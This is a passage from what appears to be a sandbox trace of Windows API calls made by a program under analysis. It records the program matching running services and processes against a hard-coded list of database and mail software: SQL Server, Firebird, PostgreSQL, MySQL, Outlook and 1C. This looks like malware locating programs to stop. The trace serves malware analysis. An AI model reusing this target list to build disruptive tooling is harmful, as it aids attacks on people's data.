7 [0041.910] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0041.910] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0041.910] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0041.910] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0041.910] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0041.910] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0041.910] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0041.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0041.911] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0041.911] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0041.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0041.911] lstrlenW (lpString="AudioSrv") returned 8 [0041.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0041.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0041.911] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0041.911] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0041.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0041.911] lstrlenW (lpString="BFE") returned 3 [0041.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0041.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0041.911] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0041.911] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0041.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0041.911] lstrlenW (lpString="CryptSvc") returned 8 [0041.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0041.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0041.911] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0041.911] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0041.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0041.911] lstrlenW (lpString="CscService") returned 10 [0041.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0041.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0041.911] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0041.911] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0041.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0041.911] lstrlenW (lpString="DcomLaunch") returned 10 [0041.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0041.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0041.911] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0041.912] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0041.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0041.912] lstrlenW (lpString="Dhcp") returned 4 [0041.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0041.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0041.912] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0041.912] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0041.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0041.912] lstrlenW (lpString="Dnscache") returned 8 [0041.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0041.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0041.912] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0041.912] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0041.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0041.912] lstrlenW (lpString="DPS") returned 3 [0041.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0041.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0041.912] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0041.912] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0041.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0041.912] lstrlenW (lpString="eventlog") returned 8 [0041.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0041.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0041.912] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0041.912] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0041.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0041.912] lstrlenW (lpString="EventSystem") returned 11 [0041.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0041.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0041.913] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0041.913] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0041.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0041.913] lstrlenW (lpString="gpsvc") returned 5 [0041.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0041.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0041.913] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0041.913] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0041.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0041.913] lstrlenW (lpString="iphlpsvc") returned 8 [0041.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0041.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0041.913] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0041.913] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0041.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0041.913] lstrlenW (lpString="LanmanServer") returned 12 [0041.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0041.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0041.913] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0041.913] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0041.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0041.913] lstrlenW (lpString="LanmanWorkstation") returned 17 [0041.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0041.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0041.913] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0041.913] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0041.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0041.913] lstrlenW (lpString="lmhosts") returned 7 [0041.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0041.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0041.913] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0041.914] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0041.914] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0041.914] lstrlenW (lpString="MMCSS") returned 5 [0041.914] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0041.914] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0041.914] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0041.914] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0041.914] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0041.914] lstrlenW (lpString="MpsSvc") returned 6 [0041.914] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0041.914] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0041.914] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0041.914] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0041.914] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0041.914] lstrlenW (lpString="Netman") returned 6 [0041.914] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0041.914] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0041.914] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0041.914] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0041.914] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0041.914] lstrlenW (lpString="netprofm") returned 8 [0041.914] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0041.914] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0041.914] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0041.914] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0041.914] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0041.914] lstrlenW (lpString="NlaSvc") returned 6 [0041.914] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0041.914] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0041.914] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0041.914] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0041.914] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0041.914] lstrlenW (lpString="nsi") returned 3 [0041.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0041.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0041.915] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0041.915] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0041.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0041.915] lstrlenW (lpString="PcaSvc") returned 6 [0041.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0041.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0041.915] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0041.915] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0041.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0041.915] lstrlenW (lpString="PlugPlay") returned 8 [0041.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0041.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0041.915] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0041.915] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0041.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0041.915] lstrlenW (lpString="Power") returned 5 [0041.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0041.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0041.915] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0041.915] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0041.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0041.915] lstrlenW (lpString="ProfSvc") returned 7 [0041.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0041.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0041.915] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0041.915] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0041.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0041.915] lstrlenW (lpString="RpcEptMapper") returned 12 [0041.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0041.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0041.915] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0041.916] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0041.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0041.916] lstrlenW (lpString="RpcSs") returned 5 [0041.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0041.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0041.916] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0041.916] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0041.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0041.916] lstrlenW (lpString="SamSs") returned 5 [0041.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0041.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0041.916] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0041.916] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0041.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0041.916] lstrlenW (lpString="Schedule") returned 8 [0041.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0041.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0041.916] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0041.916] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0041.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0041.916] lstrlenW (lpString="SENS") returned 4 [0041.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0041.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0041.916] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0041.916] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0041.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0041.916] lstrlenW (lpString="ShellHWDetection") returned 16 [0041.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0041.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0041.916] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0041.916] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0041.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0041.917] lstrlenW (lpString="Spooler") returned 7 [0041.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0041.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0041.917] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0041.917] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0041.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0041.917] lstrlenW (lpString="swprv") returned 5 [0041.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0041.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0041.917] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0041.917] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0041.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0041.917] lstrlenW (lpString="SysMain") returned 7 [0041.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0041.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0041.917] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0041.917] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0041.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0041.917] lstrlenW (lpString="Themes") returned 6 [0041.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0041.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0041.917] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0041.917] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0041.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0041.917] lstrlenW (lpString="TrkWks") returned 6 [0041.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0041.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0041.917] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0041.917] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0041.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0041.917] lstrlenW (lpString="UxSms") returned 5 [0041.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0041.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0041.918] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0041.918] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0041.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0041.918] lstrlenW (lpString="VSS") returned 3 [0041.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0041.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0041.918] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0041.918] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0041.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0041.918] lstrlenW (lpString="WdiServiceHost") returned 14 [0041.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0041.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0041.918] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0041.918] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0041.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0041.918] lstrlenW (lpString="WdiSystemHost") returned 13 [0041.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0041.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0041.918] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0041.918] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0041.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0041.918] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0041.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0041.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0041.918] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0041.918] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0041.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0041.918] lstrlenW (lpString="Winmgmt") returned 7 [0041.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0041.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0041.918] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0041.918] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0041.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0041.918] lstrlenW (lpString="WPDBusEnum") returned 10 [0041.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0041.919] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0041.919] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0041.919] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0041.919] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0041.919] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x26e060 | out: hHeap=0x220000) returned 1 [0041.919] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x208 [0041.921] Process32FirstW (in: hSnapshot=0x208, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0041.922] Process32NextW (in: hSnapshot=0x208, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0041.922] lstrlenW (lpString="System") returned 6 [0041.922] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0041.922] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0041.922] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0041.922] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0041.922] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0041.922] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0041.922] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0041.922] Process32NextW (in: hSnapshot=0x208, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0041.923] lstrlenW (lpString="smss.exe") returned 8 [0041.923] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0041.923] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0041.923] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0041.923] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0041.923] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0041.923] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0041.923] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0041.923] Process32NextW (in: hSnapshot=0x208, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0041.924] lstrlenW (lpString="csrss.exe") returned 9 [0041.924] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0041.924] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0041.924] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0041.924] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0041.924] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0041.924] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0041.924] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0041.924] Process32NextW (in: hSnapshot=0x208, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0041.925] lstrlenW (lpString="wininit.exe") returned 11 [0041.925] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0041.925] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0041.925] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0041.925] Process32NextW (in: hSnapshot=0x208, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0041.926] lstrlenW (lpString="csrss.exe") returned 9 [0041.926] Process32NextW (in: hSnapshot=0x208, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0041.926] lstrlenW (lpString="winlogon.exe") returned 12 [0041.926] Process32NextW (in: hSnapshot=0x208, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0041.927] lstrlenW (lpString="services.exe") returned 12 [0041.927] Process32NextW (in: hSnapshot=0x208, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0041.928] lstrlenW (lpString="lsass.exe") returned 9 [0041.928] Process32NextW (in: hSnapshot=0x208, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, 